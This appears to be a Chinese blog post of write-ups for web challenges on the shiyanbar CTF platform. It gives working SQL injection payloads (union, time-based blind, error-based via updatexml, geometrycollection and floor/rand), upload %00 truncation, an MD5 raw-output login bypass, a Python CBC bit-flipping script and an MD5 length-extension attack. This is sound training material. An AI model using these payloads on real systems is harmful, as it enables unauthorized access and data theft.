实验吧 web wp

上学期开学那段时间刷的,开始有点做题的感觉了<( ̄︶ ̄)>

后台登录

F12可以看到注释里给出了查询的sql,这个语句将password进行了md5加密

md5()这个函数前一个参数为输入字符串,后一个为输出进制。true时为二进制,false时为十六进制
我们可以用这个字符串:ffifdyop
它进过md5后,加密方式设为true时为 ‘or’6�]��!r,��b ;false时为 276f722736c95d99e921722cf9ed6
21c 转为字符串后是 ‘or’6
然后获得flag

what a fuck!这是什么鬼东西?

一看就是js之类的码,用控制台输出

上传绕过

做过的题,这里还是想了想为什么%00截断可以
应该是这里dir是文件保存的路径,然后会接filename在uploads/之后。因为这里用%00截断,于是储存路径就变成uploads/1.php%001.jpg,1.jpg不会被读到,于是就被认为是储存的是php文件。而一开始的判断只是靠filename而已,所以就会是jpg的判断,结果就通过得flag

简单的sql注入

这题过滤的东西有点坑
一开始以为是过滤了union select,然后又以为是空格,但好像都不对。最后用’1(语句)1’才查出过滤了什么
查到了过滤了’union ‘,’select ‘,’from ‘,’where ‘,’table_schema’,’information_schema.columns’,
‘table_schema’,’column_name’
payload:

1
2
3
4
' unionunion  selectselect  database()'
' unionunion selectselect table_name fromfrom information_schema.tables wherewhere table_table_schemaschema='web1' or '
' unionunion selectselect columncolumn_name_name fromfrom information_sinformation_schema.columnschema.columns wherewhere table_name='flag' or '
' unionunion selectselect flag fromfrom flag wherewhere '1'='1

拐弯抹角

这题打开就是代码审计,虽然很长,但很有意义,学到了不少绕过技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php 
// code by SEC@USTC

echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';

$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
$stop = 0;

//这道题目本身也有教学的目的
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以,第一个要求就是不得出现 ./
if($flag && strpos($URL, './') !== FALSE){
    $flag = "";
    $stop = 1;        //Pass
}

//第二,我们可以构造 \ 来代替被过滤的 /
//所以,第二个要求就是不得出现 ../
if($flag && strpos($URL, '\\') !== FALSE){
    $flag = "";
    $stop = 2;        //Pass
}

//第三,有的系统大小写通用,例如 indirectioN/
//你也可以用?和#等等的字符绕过,这需要统一解决
//所以,第三个要求对可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
    $flag = "";
    $stop = 3;        //Pass
}

//第四,多个 / 也是可以的
//所以,第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
    $flag = "";
    $stop = 4;        //Pass
}

//第五,显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php,并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
    $flag = "";
    $stop = 5;        //Pass
}

//第六,我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
    $flag = "";
    $stop = 6;        //Pass
}

//第七,现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
    $flag = "";
    $stop = 7;        //Pass
}
if(!$stop) $stop = 8;

echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
    $code = str_replace('//Pass '.$i, '//Pass', $code);
for(; $i < 8; $i++)
    $code = str_replace('//Pass '.$i, '//Not Pass', $code);


echo highlight_string($code, TRUE);

echo '</body></html>';

比如用..回到上级目录以进行绕过得到index.php;用\来代替/;大小写绕过;//代替/;index.php.代替index.php
这题主要考点是伪静态页面,可以通过/index.php/index.php绕过获得flag。这里在后面的index.php并不是作为文件,而是作为一个参数传入index.php,继而成功绕过

payload: http://ctf5.shiyanbar.com/indirection/index.php/index.php

Forms

这题完全坑人引导啊!!!
F12发现有个input被hidden,且设值为0,名字叫showsource

觉得有用就试着修改为1然后提交就出了一段代码,很明显直接把a的值提交上去就能获得flag了

Once More

做过的题,ereg用%00截断绕过,长度用科学计数法绕过
payload:\ password=1e9%00*-*

guess next session

这题一看源码就知道提示又在坑人

一开始想着让password为true就行,然而怎么都不行,怎么都会被认为是str的true。于是换个思路,既然这里是从session里取出password的话,那把session清空不就完了。用burpsuit发送个不带cookie的数据包,此时由于是第一次登录,而session的初始值都为0于是就password为空就能获得flag

记得这题打开时就创建了cookie,于是再输入空password也没用,只能清空cookie

FALSE

又是sha的题,数组或加密后为科学计数法绕过都行

这个看起来有点简单!

太过简单以致做不出来的题【笑哭脸
没想到这题连单引号都不用加

payload:

1
2
3
4
0 union select 1,2
0 union select 1,table_name from information_schema.tables where table_schema=database()
0 union select 1,column_name from information_schema.columns where table_name='thiskey'
0 union select 1,k0y from thiskey

你真的会PHP吗?

先用一波burpsuit发现hint,这次终于不会眼瞎了hhh
然后用着个获得了一波源码,审核一下,大概就是

首先要是一个字符串
然后不是数字,并在int再str之后会和原本相同
再是int后是个回文,但str后一个个对又不是回文
这题第一反应应该是要用科学计数法或十六进制,但怎么都不行。想过%00但以为不能对这几个函数起作用。然而查了wp知道是有用的,%00能让is_numeri返回false。于是就很简单了,number=0e-0%00得解

登陆一下好吗??

这题一开始试了一下or和’,发现or不行而’可以,就脑补了一下sql语句应该是:
select * from where username='' and password=''
然后or被过滤估计and也是被过滤,这是就想到了^。实际上答案也确实使用这个,但我并没解出来,不过又学到了一点东西
当进行sql查询时,如果该列中都是字符串的话,只要查询的列值为0就可以全部查出,没想到sql里也是弱类型的。这里试着用username=’^’aaa&password=’^’aaa,这里’’的值为0,而字符串的值也认为是0(应该是有单引号就判断是字符串了),0^0=0。但并没出flag,估计是password有数字开头,于是就用之前见过的注释方法,username=\&password=^’aaa得到flag

因缺思汀的绕过

这题又是奇淫技巧,虽然我的想法和wp差不多,但太菜以致我没解出来orz
F12发现有一个source.txt,是登录的源码

这里过滤了一大堆,但基本都能用/**/绕过,但,()被过滤了就很难受,本来想用类似于union select 1,2然后password=2就能过的,但这里过滤了就头很大。就只能想到盲注,但不想这么搞就查了一下wp,发现一个payload:
uname=' or 1=1 group by psw with rollup limit 1 offset 2#&psw=
真的是又踏入了我的知识盲区,给这里的group by…with rollup举个例子
若是
select dep,pos,avg(sal) from employee group by dep,pos;
查出

| dep | pos | avg(sal) |
+——+——+———–+
| 01 | 01 | 1500.0000 |
| 01 | 02 | 1950.0000 |
| 02 | 01 | 1500.0000 |
| 02 | 02 | 2450.0000 |
| 03 | 01 | 2500.0000 |
| 03 | 02 | 2550.0000 |


select dep,pos,avg(sal) from employee group by dep,pos with rollup;
查出的是

| dep | pos | avg(sal) |
+——+——+———–+
| 01 | 01 | 1500.0000 |
| 01 | 02 | 1950.0000 |
| 01 | NULL | 1725.0000 |
| 02 | 01 | 1500.0000 |
| 02 | 02 | 2450.0000 |
| 02 | NULL | 2133.3333 |
| 03 | 01 | 2500.0000 |
| 03 | 02 | 2550.0000 |
| 03 | NULL | 2533.3333 |
| NULL | NULL | 2090.0000 |

它会再以第一列进行统计,而此时第二列则为NULL
利用这个性质,我们可以修改offset直到使第二列为NULL,此时使password为空便能通过

还有这里中的数据库里可以查到只有两条,所以这条payload能用

who are you?

看了一下就知道使用X-Forwarded-For进行insert的时间盲注

payload:

1
2
3
' or sleep(3 * ((select length(group_concat(table_name)) from information_schema.tables where table_schema=database())>=5000)) or '
' or sleep(3 * ((select length(group_concat(column_name)) from information_schema.columns where table_name='flag')>=5000)) or '
' or sleep(3 * ((select length(group_concat(flag)) from flag )>=5000)) or '

不过之前写过一个脚本有些烂,找了个大佬的脚本来跑,这里就不放出来了

简单的sql注入之3

不是很难,尝试了一下updatexml()和floor()不行后就觉得应该会用到一些奇怪的报错,又试了几个后就找到了一个比较常见能用的报错注入
payload:

1
2
3
' and geometrycollection((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a)b))#
' and geometrycollection((select * from(select * from(select group_concat(column_name) from information_schema.columns where table_name='flag')a)b))#
' and geometrycollection((select * from(select * from(select group_concat(flag) from flag)a)b))#

之后还从别人的wp里学到了一个少见的ceil()报错:
payload:

1
2
3
' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1 offset 0),ceil(rand(0)*2))x from information_schema.tables group by x)a)# 
' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='flag' limit 1 offset 0),ceil(rand(0)*2))x from information_schema.tables group by x)a)#
' and (select 1 from (select count(*),concat((select flag from flag limit 1 offset 0),ceil(rand(0)*2))x from information_schema.tables group by x)a)#

天下武功唯快不破

由提示就用burpsuit抓包,发现flag的提示,下面提示post为key的值获得flag

尝试了一下说是不够快,那就是要写脚本了

python走一波,获得flag

忘记密码了

进去没找到什么,就试着抓包

发现管理员邮箱账号,然后提示step2.php,又提示了vim,就猜可能会有遗留未删的备份

打开step2发现submit.php,然后尝试.submit.php.swp获得了源码

这里一个很简单的绕过
`?token=0.00000000&emailAddress=admin@simplexue.com`
得flag

NSCTF web200

挺简单的题,反解码一下就出来了

程序逻辑问题

查看源码,发现一个有可能是源码的文件

打开发现果然是

读一下就知道该这么做了
user=' union select md5(1)&password=1

PHP大法

提示index.php.txt
又是两次url解码, ?id=hackerD%254A 得flag

简单的sql注入之2

这题我也说不准到底过滤了什么,大概只有获得源码才能一探究竟了吧
试了大概是过滤了’ union’、’union ‘,这个是确定的,但后面两个我就不清楚是这么过滤的了
select左右有/**/时就不会检测出来,没有的话就算单是输入select都会检测到。而)则是右边为/**/时就不会检测出来。(也许是过滤了空格吧)
于是payload就是:

1
2
3
4
'/**/union/**/select/**/1#
'/**/union/**/select/**/table_name from information_schema.tables where table_schema=database()/**/#
'/**/union/**/select/**/column_name from information_schema.columns where table_name='flag'/**/#
'/**/union/**/select/**/flag from flag/**/#

头有点大

这题提示确实很明显了,要我们用IE、.net9.9框架和在英国地区访问
那就用burpsuit修改http头
前两个在User-Agent后加(MSIE 9.0;.NET CLR 9.9)解决
后面那个本来以为是用英国IP,没想到改Accept-Language为en-gb;就可以了

猫抓老鼠

抓包可以看到一个base64编码字符串,没想到tm不用解码就可以用了,我还专门解码懵逼了好久

貌似有点难、

并没什么难度,而且什么过滤都没做

X-Forwarded-For:1.1.1.1即可
但还是了解一下其他两个
Client_IP这个变量表示的是代理服务器发送的HTTP头,说是并未成标准,因而很少见
Remote_Addr代表的是你的客户端和服务器握手时候的IP。比如但我们使用代理服务器时,里面的值是代理服务器的IP,只有直接连接服务器,服务器才会获得真实IP。

加了料的报错注入

这题确实有丶东西
一开始试着报错然而各种检测到
于是试着写个脚本跑了一下过滤了什么,发现username过滤了()而password过滤了报错注入用的函数名。我们可以构造一个/&password=/把password的去掉,使得前后报错信息都在username上,同时又不会被检测出注入
payload:

1
2
3
username='or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x7e),1) or '
username='or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'),0x7e),1) or '
username='or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(value) from ffll44jj),0x7e),1) or '

简单的登录题

是之前在bugku类似的题,都是找cbc翻转的漏洞
先抓个包,发现tips

然后打开test.php获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");

error_reporting(0); include('conn.php');

function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)) {
return 1;
}
return 0;
}

function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo 'Hello!'.$rows['username'].'';
} else{
echo 'Hello!';
}
}else{
die("ERROR!");
}
}
}

if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id)) die("sql inject detected!");
$info = array('id'=>$id);
login($info);
echo 'Hello!';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo 'Login Form
input id to login';
}
}

这里就和bugku那道基本一样了,这里把开头的u换了就行
写个脚本得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# -*- coding:utf8 -*-  
from base64 import *
import urllib
import requests
import re

url = r'http://ctf5.shiyanbar.com/web/jiandan/index.php '

def login(payload):
payload = {'id':payload}
http = requests.post(url,data=payload)
Set_Cookie = http.headers['Set-Cookie']
iv = re.findall(r"iv=(.*?),",Set_Cookie)[0]
cipher = re.findall(r"cipher=(.*)",Set_Cookie)[0]
cookie = {'iv': iv, 'cipher': cipher}
return cookie

def cipher_(cipher,idx,s1,s2):
cipher_raw = b64decode(urllib.unquote(cipher))
lst = list(cipher_raw)
lst[idx] = chr(ord(lst[idx])^ord(s1)^ord(s2))
cipher_new = ''.join(lst)
cipher_new = urllib.quote(b64encode(cipher_new))
return cipher_new

def plain_(iv,cipher_new):
cookie_new = {'iv': iv,'cipher': cipher_new}
http = requests.post(url,cookies=cookie_new)
con = http.content
plain = re.findall(r"base64_decode\('(.*?)'\)",con)[0]
plain = b64decode(plain)
return plain

def iv_(iv,plain):
iv_raw = b64decode(urllib.unquote(iv))
plain_first = 'a:1:{s:2:"id";s:'
iv_new = ''
for i in range(16):
iv_new += chr(ord(plain_first[i])^ord(plain[i])^ord(iv_raw[i]))
iv_new = urllib.quote(b64encode(iv_new))
return iv_new

def con_(payload,idx,s1,s2):
cookie = login(payload)
cipher_new = cipher_(cookie['cipher'],idx,s1,s2)
plain = plain_(cookie['iv'],cipher_new)
iv_new = iv_(cookie['iv'],plain)
cookie_new = {'iv': iv_new, 'cipher': cipher_new}
http = requests.post(url,cookies=cookie_new)
con = http.content
print con

# con_('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
# con_('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database() limit 1 offset 1)b join (select 3)c);'+chr(0),7,'2','u')
# con_('0 2nion select * from (select * from you_want as a join you_want as b) as c;'+chr(0),6,'2','u')
# con_("0 2nion select * from((select 1)a join (select column_name from information_schema.columns where table_name regexp 'flag' limit 1 offset 1)b join (select 3)c);"+chr(0),7,'2','u')
# con_('0 2nion select * from ((select 1)a join (select value from you_want)b join (select 3)c);'+chr(0),6,'2','u')

让我进去

打开不知道搞什么,就抓包发现cookie里有个source=0,就试着改成1,获得源码

读一下,要我们cookie里getmein的值等于(一串未知15字符+username的值+password的值)进行md5后的值,然后cookie里也会给一串未知15字符+adminadmin进行md5后的值,但这里不允许password输入admin,这就让人很头大的。疯狂挠头了很久后查了一下说是hash长度扩展攻击
具体看这:MD5的Hash长度扩展攻击

利用这个漏洞我们就可以用sample-hash获取$secret + adminadmin\x80\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00admin进行md5后的值,然后把password填为
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00admin就可以使两边相等得到flag